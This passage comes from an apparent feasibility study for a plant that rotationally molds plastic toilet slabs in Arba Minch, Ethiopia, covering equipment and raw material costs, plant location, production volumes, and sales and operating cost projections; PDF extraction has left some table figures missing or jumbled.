86 62 Table 3.7: No. 1 Possible suppliers of equipment Equipment Rotational molding machine 2 Burner 3 Pulverizer Application/ Comment Manufacturing of toilet slabs Burner for the rotomolding machine due to LPG composition in Ethiopia Grinding of LLDPE granules to powder Price, including shipping (ETB) a Machine 1: 2,677,500 Machine 2: 4,100,000 76, ,500 Supplier Ferry Industries Inc., USA, () Ferry Industries Inc., USA, () Zhangjiagang Lanma Machinery Co., Ltd., China, () a) b) c) 4 High-speed Mixer Color dry blending 948,000 Plasmec S.R.L., Italy, () 5 Router 6 Band saw with extra blades Secondary operations on finished products Cutting of back-to-back molded products 462,000 7 Trimmers Manual deflashing of parts Generator 9 Color compounding line For electrical power supply in the event of a power outage Tongxing Technology Development Co., Ltd., China, () 200 Local hardware store in Arba Minch Ferry Industries Inc., USA, () 460,000 b Local supplier in Arba Minch Color compounding 13,035,500 c KraussMaffei Berstorff GmbH, Germany () Zhejiang Qunli Plastics Machine Co., Ltd., China, () 10 Granulator Recycling of scrap plastic 243,000 Prices were obtained in CNY, EUR and USD and converted to ETB using average exchange rates as of October 2009 and February 2010 from OANDA (2012). Shipping costs to Addis Ababa were obtained from Ethiopian Investment Agency (2008b). Installation costs were considered for complex equipment (for no. 1, 3, 4, 5, and 10) and calculated as 15 % of the price of equipment. The price includes installation costs. The price includes all the necessary equipment, shipping, installation and commissioning costs.
87 Possible suppliers of raw materials This section defines potential suppliers of LLDPE and different options for coloring of raw material, including compounded color and dry pigment Linear low-density polyethylene LLDPE market prices were studied through personal correspondence with companies supplying these types of materials worldwide. For LLDPE price quotes, the information as presented in Table 3.8 was used (pers. correspondence, R. Entner, Vice President at Uhde GmbH, Dortmund, Germany, ). Additional 40 % of the price of raw material was added to the average spot price to compensate for shipping costs (including marine freight transportation, cargo insurance, unloading, processing fee and import duty) from Europe to Addis Ababa, Ethiopia. The prices presented in Table 3.8 do not consider transportation costs of raw material from Addis Ababa to Arba Minch. Table 3.8: LLDPE market prices including shipment to Addis Ababa LLDPE Average spot price a (ETB/kg) b Butene-based 21.2 Hexene-based 23.1 Octene-based 25.0 a) Spot price is a market price at which a product is sold at a particular point in time. b) The price was converted from USD to ETB using average exchange rate from October 2009 from OANDA (2012). For the manufacturing of toilet slabs, the average spot price for butene-based LLDPE was chosen. This price seemed the most reasonable, in particular after taking into account the information obtained in Ethiopia: LLDPE delivery price to Addis Ababa of ETB/kg (pers. communication, J. Mathews, Country Manager at Roto PLC, Addis Ababa, Ethiopia, ). Part weight for each manufactured product was calculated according to Equation 3.1 and it is shown in Table 3.9. Detailed calculations of part weight for Products 1, 2, 3 and 4 are presented in Appendix B.2. Table 3.9: Calculated part weight for manufactured products Product Product 1 Product 2 Product 3 Product 4 Part weight (kg) Knowing the part weight, the required amount and resulting costs of LLDPE per product were determined. Table 3.10 shows these costs, which also include delivery costs to Arba Minch.
88 64 Table 3.10: Calculated costs of raw material (LLDPE) for manufactured products LLDPE costs Product 1 Product 2 Product 3 Product 4 (ETB/unit) (ETB/unit) (ETB/unit) (ETB/unit) Year Year The additional cost of purchasing raw material in a powder form has also been included. Based on the information provided (pers. correspondence, P. Chassin, Sales Director at Ter Hell Plastic GmbH, Herne, Germany, ), the price difference between granular and powder LLDPE can be estimated to approximately 20 % more for powder form. Starting from the second year of operation, costs will decrease due to the installation of an in-house pulverizer, whereby raw material is processed from granules to powder directly at the plant. After the first year of duty free imports of LLDPE, a customs duty tax of 5 % is levied, which is also included in the price of raw material Compounded color vs. dry pigment As already discussed, compounded color can be either processed in house or bought from a third party. The important advantage of internal color compounding is being able to control production lead times. However, the costs of installing an extruder and a grinder are high, and instead, e.g., another rotational molding machine could be purchased in order to expand the production. According to the information gathered, large volumes of colored compound should not be significantly more expensive than uncolored material (pers. correspondence, C. Hampton, Manager at Hamptons Colours Limited, Gloucestershire, UK, ). However, smaller quantities will be more expensive than uncolored, making dry color more viable. The value of the colorants in compound is negligible compared to the processing costs. Furthermore, compounded color is likely to be more expensive for small lots than dry color, but the structural integrity will be better. Different companies were consulted for compounded color quotes. The price of compound material is based on the cost of raw material in a particular month, pigment costs, and transportation costs. The price quotes obtained can be summarized as follows: (a) approximately 43 ETB/kg 23 (pers. correspondence, F. Ramezani, Business Development Manager at Matrix Polymers Ltd, Northampton, UK, ). The price includes raw material, compounding, pigments, grinding, packaging and shipping to Ethiopia. (b) approximately 31 ETB/kg 24 (for 1,000 kg lots) to 857 ETB/kg (for 5 kg lots) (pers. correspondence, C. Hampton, Manager at Hamptons Colours Limited, Gloucestershire, UK, ). The price does not include pigments, grinding and shipping costs to Ethiopia. 23 The price was converted from EUR to ETB using an average exchange rate as of March 2010 from OANDA (2012). 24 The price was converted from GBP to ETB using an average exchange rate as of February 2010 from OANDA (2012).
89 Cost 65 The price quote (a) is about the double of the price of not colored raw material (refer to Table 3.8). After adding pigments, shipping and grinding costs to the price quote (b), it should be comparable to the price quote (a). Different price quotes for dry pigment in various colors were studied. The price quote of 151 ETB/kg 25 of dry pigment in white was chosen as the most cost efficient (pers. correspondence, C. Hampton, Manager at Hamptons Colours Limited, Gloucestershire, UK, ). The prices for manufactured products (for the list of products refer to Table 3.1) using dry pigment in white (addition rate: 0.5 % wt.) and compounded color are summarized in Figure It is clear that using compounded color is much more expensive than using dry pigment. All costs include shipping costs of raw materials to Addis Ababa and transportation by road to Arba Minch. In both cases, starting from the second year of operation, the price includes 5 % of customs duty levied on plastic raw materials. In the case of using LLDPE with dry pigment, in the first year, approximately 20 % of the price of raw material (in granules) is included on top of the price of raw material as the material needs to be purchased in a powder form. In the second year of operation, a pulverizer is installed to produce powder from granules in house so the costs decrease. For compounded color, the price quote of 43 ETB/kg was used (see the discussion above). Costs presented in Figure 3.13 include a 5 % error indicator. [Birr/product] 500 LLDPE compounded color, year LLDPE compounded color, years 2-5 LLDPE with dry pigment, year LLDPE with dry pigment, years Figure 3.13: Product Cost comparison of using LLDPE with compounded color and dry pigment 25 The price includes shipping costs to Addis Ababa and it was converted from GBP to ETB using an exchange rate as of from OANDA (2012).
90 66 Even though color compounding is superior to dry blending it, after taking into account the nature of the products to be manufactured and the fact that they are not high appearance products, dry blending with pigment should be a more appropriate choice, mainly due to its cost efficiency (refer to Figure 3.13). A further advantage of internal dry blending is stocking uncolored LLDPE and coloring just enough that one needs each time. By choosing a high-intensity mixer over a paddle blender, a superior color mix can be achieved due to more frictional heating and better mixing of the pigment and the plastic powder (Crawford and Throne, 2002). Especially with the maximum throughput of approximately 1 ton at a time, dry blending makes sense cost wise. The disadvantages, on the other hand, are that working with the pigment can be untidy, and there could be effects on the structural properties of the finished product, e.g., embrittlement of the molded part (Crawford and Throne, 2002). For more information on coloring methods refer to Section Selection of parameters for the manufacturing process After having considered the information presented in Section 3.1.3, technical parameters for the planned business were selected and they are presented further Manufacturing process Plastic toilet slabs (Products 1, 2, 3 and 4, refer to Table 3.1) should be produced with the rotational molding process. This decision was based on the cost and operational advantages of this process vis-à-vis injection molding and deep drawing. Injection molding was not chosen for the planned manufacturing line as it makes sense with higher production volumes than assumed for this business idea. It is also associated with higher capital investment and operating costs. Furthermore, it is more appropriate for more complex part designs. Deep drawing, on the other hand, makes sense with lower production volumes than assumed for this business idea. Furthermore, it requires an experienced operator to control and adjust temperature and finish the parts Molds Steel molds were chosen for the manufacturing process due to their low cost and availability. They can be imported from India and their price depends on the complexity of the design. Their life span is for approximately 20,000-30,000 parts (pers. correspondence, A. Rowland, International Sales Manager at Ferry Industries Inc., Stow, Ohio, ). Based on the information gathered, a mold similar to the one required for the manufacturing of Product 2 costs approximately 10,000 ETB (pers. communication, S. Ganapathy, Kentainers Factory Manager, Addis Ababa, Ethiopia, ). As Product 1 requires a slightly more complicated mold than Product 2, the mold for Product 1 is assumed to cost 15,000 ETB, whereas for Products 3 and 4, which are less complicated in design 6,000 ETB each. They will
91 67 be imported from India so shipping costs of 14,500 ETB 26 additionally (Ethiopian Investment Agency, 2008b). have to be covered Moldable material For the manufacturing process, LLDPE was selected as a suitable raw material. This decision was based on its properties (for details refer to Section ) and the experience of other companies in Ethiopia that use it as a raw material for the production of plastic toilet slabs with the rotational molding process Material preparation In order to reduce the cost of raw material, the company should purchase a pulverizer to grind raw material from pellets to powder. It was assumed that this investment would be made in the second year of operation Coloring of raw material It was decided that dry pigments would be dry blended with a plastic raw material (LLDPE) in a high-speed mixer. The decision was based on the cost comparison for producing colored parts by using compounded color against dry pigment (refer to Figure 3.13) Machine Shuttle and independent-arm carousel machines were chosen as two alternatives for the manufacturing process of plastic toilet slabs. Scenario 1 will consider manufacturing with a shuttle machine (Machine 1), whereas Scenario 2 will consider manufacturing with an independent-arm carousel machine (Machine 2). For information on rotomolding machines refer to Section Machine 1 stands for FERRY RotoSpeed Model M (M1-2600) rotational molding shuttle machine type with a single arm. It was assumed that this machine would be expanded to have two arms and carts (M2-2600) in the third year of operation in order to increase the production capacity. Machine 2 stands for FERRY RotoSpeed Model R (R3-2600) independent-arm carousel machine type with three arms. The price quotes and technical specifications for both machines were obtained by pers. correspondence with A. Rowland, International Sales Manager at Ferry Industries Inc., Stow, Ohio, USA, October 2009-February In both scenarios (with Machine 1 and with Machine 2), it was assumed that two parts would be molded per cavity. Machine 1 has four cavities before the extension and afterwards eight cavities, arranged so that they fit two side by side on the straight arm. The higher productivity of Machine 2 is attributed to the fact that each part of the process (loading, oven, cooling/unloading) occurs simultaneously. For more information on shuttle and carousel machines refer to Section Price was converted from USD to ETB using the average exchange rate as of May 2009 from OANDA (2012).
92 68 The rotational molding machines (Machine 1 and Machine 2) can also be used for production of other plastic products, e.g., other toilet slabs, water tanks, septic tanks, etc. Furthermore, molds for rotational molding are not as expensive as in the case of injection molding, therefore, the production line is more flexible and easier to be adapted to the demand for new products, once required Other technical parameters A part wall thickness of approximately 5 mm was chosen (pers. correspondence, A. Rowland, International Sales Manager at Ferry Industries Inc., Stow, Ohio, USA, ). The density of butane-based LLDPE of g/cm 3 was consulted in the literature (NCDEX, 2010) Plant location The location of the plant is suggested for the town of Arba Minch. Information regarding Arba Minch and the reasons for its attractiveness for plant location are discussed further Introduction to Arba Minch Arba Minch is located in the Southern Nations, Nationalities and People s (SNNP) Region, about 500 km south of Addis Ababa (the capital of the country) and 275 km south of Awassa (the capital of the region) (refer to Figure 3.14). Arba Minch is the capital of the Gamo Gofa Zone. Figure 3.14: Location of Arba Minch, Ethiopia (based on Google Maps) In the years , the annual population growth in the SNNP Region (2.9 %) was one of the highest in Ethiopia (Population Census Commission, 2008). Arba Minch is also experiencing a rapid growth. The population of the town has been projected to grow from almost 60,700 inhabitants in the year 2002 to almost 121,000 inhabitants in the year 2015 and to over 181,000 inhabitants in the year 2025, which corresponds to the overall growth rate would of 4.5 % p.a (DHV Consultants, 2002).
93 69 In 2007, the population of Arba Minch town was already estimated to almost 75,000 inhabitants (CSA, 2007), whereas a local survey conducted in 2006/2007 estimated the population to almost 79,000 inhabitants (AMU and ARB, 2007). In residential areas of the town, the population density is at 154 persons/ha, and it is expected to grow to 250 persons/ha in 2025 (DHV Consultants, 2002). The city is located between the Lakes Chamo and Abaya. The climate of Arba Minch is characterized by two rainy seasons, occurring from April till May and from September till October. The mean annual rainfall is approximately 806 mm p.a. and the average air temperature is 20 C (DHV Consultants, 2002). The River Kulfo flows through Arba Minch and it serves many purposes, including irrigation, domestic water use and as an open defecation area (AMU and ARB, 2007). Arba Minch does not have a sewer system. Only the Arba Minch University that houses approximately 7,000 people is connected to waste stabilization ponds (AMU and ARB, 2007). Sanitation facilities in Arba Minch mainly constitute of private (31 % of the housing units) and shared pit latrines (44 % of the housing units) (CSA, 2007). Shared ventilated improved pit (VIP) latrines are used by 4 % of the housing units, whereas private VIP latrines by 2 % of the housing units in the town (CSA, 2007). Pit latrines in Arba Minch are often of low quality, susceptible to flooding and collapse (AMU and ARB, 2007). Most of the pit latrines in the town have squatting floors made of wooden logs with no or very poor superstructures and privacy covers. When the pit gets full, it is usually covered with soil and used for solid waste disposal and a new pit is dug for a new latrine. Other households employ someone to empty the pit manually, which costs approximately 50 to 100 Birr and there are no official sites for sludge disposal (AMU and ARB, 2007). Most pits are dug shallow due to the poor soil quality and high costs of pit digging (ca Birr/meter) (AMU and ARB, 2007). As many as 16 % of the housing units in Arba Minch do not have any toilet facilities (CSA, 2007). Open defecation sites in the town include gorges, jungle sites, riverside, university campus and the vicinity of the marketplace (AMU and ARB, 2007). Only a few housing units (approximately 3 %) have private or shared flush toilets connected to a septic tank. These households and institutions (e.g., hotels) are responsible for handling their emptying. Thus, they need to order a vacuum truck, which travels from distant towns, i.e. it is connected with a considerable expense. According to the information gathered in Arba Minch, a lot of development is taking place in the town (pers. communication, D. Dibeta, Urban Planning Department, Arba Minch, ). It mainly involves new settlements and condominium housing, which increases the need for adequate sanitation solutions. Furthermore, aside from demographic change, the city is experiencing migration from rural to urban areas Attractiveness of Arba Minch for plant location Arba Minch has lower prices of land lease than Addis Ababa or Awassa 27 (Ethiopian Investment Agency, 2008b). Other costs, including building costs, insurance, and personnel costs are also cheaper in Arba Minch. 27 A land lease in Addis Ababa for a traditional business zone is ETB/m 2, in Awassa for an industrial zone: 0.80 ETB/m 2, and in Arba Minch: 0.70 ETB/m 2 (Ethiopian Investment Agency, 2008b).
94 70 Transportation costs of raw materials to Arba Minch are not much higher than to Addis Ababa, as the price for transporting any material from Addis Ababa to Arba Minch is low. Additional transportation costs of machinery and auxiliary equipment for the manufacturing process can be considered as an obstacle, however, a price for delivery from Addis Ababa to Arba Minch of heavy-duty equipment can be negotiated with a third party. The market of plastic producers in Addis Ababa is becoming saturated (refer to Section 3.3.2). In Arba Minch and its vicinity, the activities of the Resource-Oriented Sanitation for peri-urban areas in Africa (ROSA) project (1 October March 2010) made people familiar with the ecosan approach. Another project called Capacity-Linked water and sanitation for Africa's peri-urban and Rural Areas (CLARA) was launched in March The field research of the project is also based in Arba Minch and its overall objective is to strengthen the local capacity in the water supply and sanitation sector (CLARA, 2011). The CLARA project builds on the experience of the ROSA project and aims at developing a planning tool for water supply and sanitation systems that will be field tested in different African locations. In addition, there are numerous NGOs working in Arba Minch and its surrounding areas. Their work is also focused on the improvement of the sanitary situation in the town and its vicinity. As a result of the above considerations, it was assumed that the demand for sanitary products would be in place in Arba Minch and other woredas in the Gamo Gofa Zone. Furthermore, current facilities which are mostly unsheltered pits with wooden logs 28 do not provide comfort nor dignity. Therefore, it is expected that the demand for plastic toilet slabs would be in place. The potential customer groups include households, public institutions and organizations (e.g., NGOs and CBOs). For detailed information on the estimated demand for plastic toilet slabs in Arba Minch and other woredas in the Gamo Gofa Zone refer to Section Plant size As already indicated in Section 3.3.1, two manufacturing companies of plastic sanitary products Roto PLC and AquaSan Manufacturing Ethiopia PLC were consulted for the estimation of the plant size. Roto PLC has an area of 7,500 m 2 designated for production (capacity: 8.5 t/day) and storage. Until May 2009, AquaSan Ethiopia was manufacturing their products in Kenya (Kentainers subsidiary of AquaSanTech) and having them shipped to Ethiopia. In Kenya, the area available for production (capacity: 30 t/month) with rotational molding is 4,000 m 2 and the same area is available for loading and offloading operations. For the planned business idea, the final production capacity (year 5 of operation) with Machine 1 is estimated to 18 t/month, whereas with Machine 2 to 22 t/month. Therefore, Scenario 1 assumes leasing 7,200 m 2 of land, of which 2,400 m 2 would be assigned for the production and processing plant, the same for storage, 70 m 2 for the office building and the rest for the yard (loading and offloading operations). Scenario 28 According to AMU and ARB (2007), over 64 % of households from a transect walk survey in Arba Minch had pit toilets with a floor made wooden logs.
95 71 2 assumes leasing 9,000 m 2 of land, of which 3,000 m 2 would be for the production and processing plant, the same for storage, 70 m 2 for the office building and the rest for the yard Availability of manpower and infrastructure facilities This section discusses the availability of manpower and infrastructure in Arba Minch and related costs Manpower Skilled and unskilled manpower is available in Arba Minch. Specialized training opportunities also exist, e.g., at Selam Vocational and Training College in Addis Ababa. Monthly salaries of potential employees are summarized in Appendix B Electricity and telecommunication infrastructure The information about the electricity and telecommunication infrastructure in Ethiopia was discussed in Section Due to the fact that power outages are likely to occur, it is common to install power generators in order to continue industrial operation during this time 29. Telecommunications infrastructure is also available, including phone lines, cellular phone network and the Internet. However, its quality in Ethiopia is often not satisfactory and during power cuts its use is limited Transportation As indicated in Section , Ethiopia does not have a direct access to the sea and uses the port in Djibouti for the movement of goods. Shipping costs of raw materials to Addis Ababa represent 35 to 45 % of the raw materials costs (pers. communication, J. Mathews, Country Manager at Roto PLC, Addis Ababa, Ethiopia, ). Therefore, when considering the cost of raw materials (LLDPE and dry pigment), 40 % of the cost of goods was assumed in order to compensate for shipping costs to Addis Ababa. Transportation of raw materials from Addis Ababa to Arba Minch is possible and the distance is about 500 km. The trip can take between hours, depending on the weather conditions. Transportation costs are at 0.55 ETB/km*t of transported good (pers. correspondence, W. Ayele, Project Coordinator at ROSA office, Arba Minch, Ethiopia, ). Transportation of finished products within and in the vicinity of Arba Minch is possible. With a third party, it costs 0.75 ETB/km*t (pers. correspondence, W. Ayele, Project Coordinator at ROSA office, Arba Minch, Ethiopia, ). If the company purchases own truck, the overall transportation costs of finished products include fuel cost, car maintenance, insurance, driver s salary and car depreciation costs. 29 Therefore, power generators are also considered in the investment costs in the business plan (refer to Table 3.25).
96 Market and sales In this section, projected production volumes, unit prices, sales planning and operating costs are discussed. Then, experience with ecosan in Ethiopia is presented. It is followed by defining potential users of manufactured products as well as cooperation and financing opportunities. Next, present sources of supply, future competition, substitute products and critical factors determining the market are discussed Production volume Depending on which machine is used for the manufacturing process, the estimated production volumes will vary (refer to Table 3.11). Variables for calculating estimated production volumes for both machines are presented in Table In the case of Machine 1, with four molds mounted per straight arm 30, one will realize eight parts per each cycle. Thus, in eight cycles completed per day and twelve workdays per month, one will yield 768 parts, less 10 % for scrap, inefficiencies and preventative maintenance (refer to Table 3.12). Therefore, one can count with 2,064 parts of each of four products per year and, in total, 8,256 parts per year (refer to Table 3.11). In the case of Machine 2, with four molds mounted per straight arm, one will also realize eight parts per each of the three arms and cycle. Thus, in twenty-one cycles completed per day and twelve workdays per month, one will yield 2,016 parts, less 10 % for scrap (refer to Table 3.12). Thus, one can count with 5,436 parts of each of four products per year and, in total, 21,744 parts per year (refer to Table 3.11). RotoCycle Simulation Reports (refer to Appendix B.1) for Machine 1 before and after the extension and for Machine 2 show all data required for the calculation of the estimated production volumes. Table 3.11: Estimated production volumes for Machine 1 and Machine 2 Machine 1=Scenario 1 Machine 2=Scenario 2 Production volume (parts/year) Production volume (parts/year) Year Pr. a 1 Pr. 2 Pr. 3 Pr. 4 Total Pr. 1 Pr. 2 Pr. 3 Pr. 4 Total 1 2,064 2,064 2,064 2,064 8,256 5,436 5,436 5,436 5,436 21, ,456 3,456 3,456 3,456 13,824 5,436 5,436 5,436 5,436 21, ,912 6,912 6,912 6,912 27,648 9,072 9,072 9,072 9,072 36, ,368 10,368 10,368 10,368 41,472 9,072 9,072 9,072 9,072 36, ,368 10,368 10,368 10,368 41,472 12,432 12,432 12,432 12,432 49,728 a) Pr. stands for Product. 30 Two parts molded per cavity and four cavities per straight arm, arranged so they can fit two side by side on the straight arm.
97 73 Table 3.12: Assumed variables for calculating estimated production volumes of Machine 1 and Machine 2 Machine 1=Scenario 1 Variables Year 1 Year 2 Year 3 Year 4 Year 5 Workdays/month Parts produced/cycle, arm Cycles completed/day (for all arms) Parts produced/month (including scrap) 768 1,280 2,560 3,840 3,840 Parts produced/month (minus 10 % scrap) 691 1,152 2,304 3,456 3,456 Parts produced/year a 8,292 13,824 27,648 41,472 41,472 Machine 2=Scenario 2 Variables Year 1 Year 2 Year 3 Year 4 Year 5 Workdays/month b Parts produced/cycle, arm Cycles completed/day (for all arms) Parts produced/month (including scrap) 2,016 2,016 3,360 3,360 4,608 Parts produced/month (minus 10 % scrap) 1,814 1,814 3,024 3,024 4,147 Parts produced/year a 21,768 21,768 36,288 36,288 49,764 a) Small differences in the number of parts produced per year as presented in Table 3.11 are due to the rounding of numbers, which was required in order to assume production of an equal number of parts of all four products per cycle. b) Less working days than in the previous year due to the higher number of cycles per day Unit prices Unit prices of Products 1, 2, 3 and 4 were estimated based on the prices of similar products in Ethiopia and Kenya (refer to Table 3.6). The unit costs for all four products for Scenario 1 and Scenario 2 in the first year of operation are presented in Table 3.13 and Table The unit costs in further years of operation change due to the different conditions previously discussed, e.g., purchase of in-house grinding equipment, customs duty tax levied on raw material, etc. Table 3.13: Unit costs per product for Scenario 1, year 1 Product 1 (ETB/unit) Product 2 (ETB/unit) Product 3 (ETB/unit) Product 4 (ETB/unit) Direct costs Raw material Liquid petroleum gas Electricity Production personnel (skilled) Production personnel (unskilled) Transportation of finished products Social expenses for production personnel Indirect costs Advertising costs Telecommunication costs Indirect personnel costs Other administrative costs Sum
98 74 Table 3.14: Unit costs per product for Scenario 2, year 1 Product 1 (Birr/unit) Product 2 (Birr/unit) Product 3 (Birr/unit) Product 4 (Birr/unit) Direct costs Raw material Liquid petroleum gas Electricity Production personnel (skilled) Production personnel (unskilled) Transportation of finished products Social expenses for production personnel Indirect costs Advertising Telecommunication costs Indirect personnel costs Other administrative costs Sum Current prices of similar products sold in Ethiopia (refer to Table 3.6) and the unit costs shown above served to establish the selling prices of manufactured products as presented in Table Table 3.15: Unit prices of manufactured products Product 1 Product 2 Product 3 Product 4 Selling price (ETB) Despite the fact that the unit prices presented in Table 3.13 and Table 3.14 suggest that the price for manufactured products could be set lower than presented in Table 3.15, one needs to account for other costs such as start-up investment, investment required in the following years (e.g., tooling expenses), interest rate on loan, etc. Therefore, the prices were set higher, taking the prices of similar products sold in Ethiopia (refer to Table 3.6) as a reference Sales planning A sales plan for the production with Machine 1 and Machine 2 is summarized in Table 3.16 and Table 3.17, respectively. Sales volumes projected in both cases represent approximately 80 % of the projected production volume (compare with Table 3.11), which will be further referred to as normal case scenario. The production volume of 80 % takes into account the risk of not facing enough demand to respond to 100 % of the production volume, which might be likely to happen, in particular in the first years of the company s presence on the market. The sales plans take into account the supply of the toilets, whereas the demand for toilets is discussed in Section
99 75 Table 3.16: Projected sales planning for production with Machine.) , ,000 2,700 1,620,000 5,424 3,254,400 8,136 4,881,600 8,136 4,881, , ,600 2, ,000 5, ,320 8,136 1,464,480 8,136 1,464, , ,000 2,700 1,080,000 5,424 2,169,600 8,136 3,254,400 8,136 3,254, ,620 1,458,000 2,700 2,430,000 5,424 4,881,600 8,136 7,322,400 8,136 7,322,400 Total 6,480 3,369,600 10,800 5,616,000 21,696 11,281,920 32,544 16,922,880 32,544 16,922,880 Table 3.17: Projected sales planning for production with Machine.) ,284 2,570,400 4,284 2,570,400 7,140 4,284,000 7,140 4,284,000 9,852 5,911, , ,120 4, ,120 7,140 1,285,200 7,140 1,285,200 9,852 1,773, ,284 1,713,600 4,284 1,713,600 7,140 2,856,000 7,140 2,856,000 9,852 3,940, ,284 3,855,600 4,284 3,855,600 7,140 6,426,000 7,140 6,426,000 9,852 8,866,800 Total 17,136 8,910,720 17,136 8,910,720 28,560 14,851,200 28,560 14,851,200 39,408 20,492,160
100 Breakdown of projected operating costs As discussed in Section 3.2.1, operating costs are grouped according to fixed and variable costs. These costs are presented further for both business scenarios (Scenario 1 for Machine 1 and Scenario 2 for Machine 2) Fixed costs Fixed costs for Scenario 1 are presented in Figure 3.15 and for Scenario 2 in Figure Fixed costs presented in both figures include a 5 % estimation error. Fixed costs were grouped according to the following categories: advertising, insurance, land lease, other costs, personnel (non-production related) and telecommunication. Advertising Advertising costs are based on the costs of advertising on the SNNP Region radio station (FM 100.9) and in Debub Nigat newspaper (refer to Appendix B.4), which is one of the most widely read in Arba Minch (pers. communication, Information and Culture Department, Arba Minch, ). It is assumed that in both scenarios, the company will start with two prime time 31 radio advertisements per month and one quarter page advertisement in newspaper. Starting from the second year, the company will increase to four prime time radio and four quarter page advertisements per month to better promote the manufactured products. Leaflets with information on the products and the company will be printed 32. Insurance Insurance in Arba Minch can be provided by the Ethiopian Insurance Corporation. The Arba Minch subsidiary of the insurance company does not provide coverage against burglary. Thus, the calculated insurance covers buildings, machinery, equipment and stock (unfinished goods and spare parts) against fire and lightning. The cost of insurance was provided by the Ethiopian Insurance Corporation in Arba Minch. The calculation is based on the example of 400,000 ETB/year of premium payment for an insured value of 200 million ETB. The insured value was calculated per each year of operation for each scenario, and then a required equivalent of premium payment was extrapolated. Land lease Land lease in Arba Minch is calculated for 80 years and the lease rate is at 0.7 ETB/m 2 (Ethiopian Investment Agency, 2008a). For details on the required plots of land for both scenarios refer to Section and Section Prime time refers to Monday till Friday, before and after news. 32 The price quote of 2 ETB/leaflet for 2,000 pieces was obtained from Lion Advertising and Public Relations (pers. communication, M. Aytenfesu, Addis Ababa, Ethiopia, ). The more leaflets are printed, the lower the price. For example, with 4,000 pieces, the price goes down to 1.7 ETB/piece.
101 Fixed costs 77 Other costs Other costs refer to stationary, postage, banking charges, extra production costs, inspection and marking fee. Water is not used in the manufacturing process and the water consumption of the office building is included in other costs. Other costs are estimated to 6,000 ETB/year for both scenarios. Personnel (non-production related) Non-production personnel expenses (manager, office staff, facility guards and drivers) are considered as fixed costs. The headcount plan for Scenario 1 and Scenario 2 is presented in Appendix B.3. Insurance of non-production related personnel, which comprises 1.5 % of a workman s annual salary, is also included in personnel costs projections (Ethiopian Investment Agency, 2008a). Telecommunication Projected telecommunication expenses are based on costs provided by the Ethiopian Investment Agency (2008a) and they amount to approximately 24,000 ETB per year. Telecommunication expenses are summarized in Appendix B.5. [1,000 Birr/year] Year Land lease Other costs Insurance costs Telecommunication costs Advertising costs Non-production personnel costs Figure 3.15: Fixed costs for Scenario 1
102 Fixed costs 78 [1,000 Birr/year] Year Land lease Other costs Insurance costs Telecommunication costs Advertising costs Non-production personnel costs Figure 3.16: Fixed costs for Scenario 2 Looking at Figure 3.15 and Figure 3.16 there are no significant differences between fixed costs in both scenarios. Land lease payment is a bit higher for Scenario 2 as the plot size is also bigger in order to accommodate higher production volumes. Property and car insurance is slightly more expensive due to the fact that the value of the machinery with Scenario 2 is higher than with Scenario 1. Non-production related staff expenses are almost same for both scenarios and the small differences are due to the employment of drivers earlier in Scenario 2 than in Scenario 1. In Scenario 1, a car is purchased in the fourth year of operation, whereas in Scenario 2, in the first year. In both scenarios non-production related personnel and advertising expenses constitute the highest outlay among fixed costs Variable costs Projected variable costs for Scenario 1 are presented in Figure 3.17 and for Scenario 2 in Figure Variable costs were grouped according to the following categories: electricity, liquid petroleum gas, personnel (production related, referred to as direct personnel costs), raw material and transportation of finished products.
103 Variable costs Variable costs 79 [1,000 Birr/year] Transportation costs Direct personnel costs Electricity costs LPG gas costs Raw material costs Year Figure 3.17: Variable costs for Scenario 1 [1,000 Birr/year] Transportation costs Direct personnel costs Electricity costs LPG gas costs Raw material costs Year Figure 3.18: Variable costs for Scenario 2 Electricity Electricity consumption increases with growing production volumes. Electricity is mainly used by fans (for cooling of molds), a router, a high-speed mixer and a pulverizer. The electricity consumption is lower when raw material is supplied pulverized or pre-colored.
104 80 Electricity consumption and resulting costs are summarized in Table Electricity costs consist of a service fee (approx. 650 ETB/year) and a consumption cost of approximately 0.4 ETB/kWh (Ethiopian Investment Agency, 2008a). Electricity consumption grows with increasing production volumes, resulting in more extensive use of auxiliary equipment. Electricity consumption is higher for Machine 2 due to the higher production volumes. Table 3.18: Electricity consumption and related costs for Scenario 1 and Scenario 2 Scenario Year Projected electricity consumption (kwh/year) 180, , , , ,000 1 Cost (ETB/year) 69, , , , ,500 2 Liquid petroleum gas Projected electricity consumption (kwh/year) 360, , , , ,000 Cost (ETB/year) 137, , , , ,150 Liquid petroleum gas (LPG) is used during the manufacturing process to heat the molds. The maximum LPG consumption for either rotational molding machine is 99 L/h and an average consumption is 50 % of that, i.e L/h (pers. correspondence, A. Rowland, International Sales Manager at Ferry Industries Inc., Stow, Ohio, ). One needs to calculate how many minutes per hour the oven is used in each machine. The information is provided in the RotoCycle Simulation Report (refer to Appendix B.1). The density of LPG in Ethiopia is kg/l and the price is 14.7 ETB/kg (pers. correspondence, A. A. Lisanework Baheru, ESE Project Coordinator, Addis Ababa, Ethiopia, ). If eight parts are produced per cycle, in the first year of operation with Machine M1-2600, each product requires 1.2 kg of LPG, resulting in the cost of LPG for each manufactured product of approximately 17.5 ETB. This cost will change with the oven utilization (different for Machine M and Machine R ), the number of parts produced per hour and production volumes. The differences for LPG costs for Machine 1 and Machine 2 are presented in Figure 3.19, which includes a 5 % indication error. 33 The oven utilization value presented in the simulation report in the Appendix B.1 shows 36 % for M1-2600, 72 % for M and 95 % for R
105 LPG costs 81 [Birr/year] LPG costs, Machine 1 LPG costs, Machine Year Figure 3.19: Comparison of LPG costs for Machine 1 and Machine 2 Personnel (production related) Production related (direct) personnel expenses include the salaries of plant maintenance staff as well as skilled (engineers) and unskilled production staff. Insurance of direct personnel is also included in production related personnel expenses. The headcount plan for Scenario 1 and Scenario 2 is presented in Appendix B.3. Raw material When it comes to variable costs, the highest expenditure in both scenarios is incurred through the purchase of raw materials (see Figure 3.17 and Figure 3.18). The notion raw material refers to both LLDPE and dry pigment for coloring. The latter is a minor expenditure as the addition rate is only at 0.5 % (wt) for white pigment. For prices of LLDPE refer to Section and for dry pigment refer to Section In Figure 3.18, the costs of raw materials go down in the second year of operation due to the fact that the production volumes stay the same as in the first year, but a pulverizer is installed. This allows for the purchase of raw material in granules, which is approximately 20 % cheaper than powder. LLDPE prices are susceptible to price fluctuations, which, in turn, are dependent on the global supply-demand relationship. The more products are being manufactured, the more raw materials need to be purchased. Raw materials are purchased in bulk in order to negotiate prices with suppliers and save on the shipping costs. Enough cash has to be secured to pay for semi-annual or quarterly deliveries of raw materials. Shipping costs to Addis Ababa and transportation costs to Arba Minch are included in the price of raw materials presented in Figure 3.17 and Figure As a savings measure, one should buy raw material in bulk once 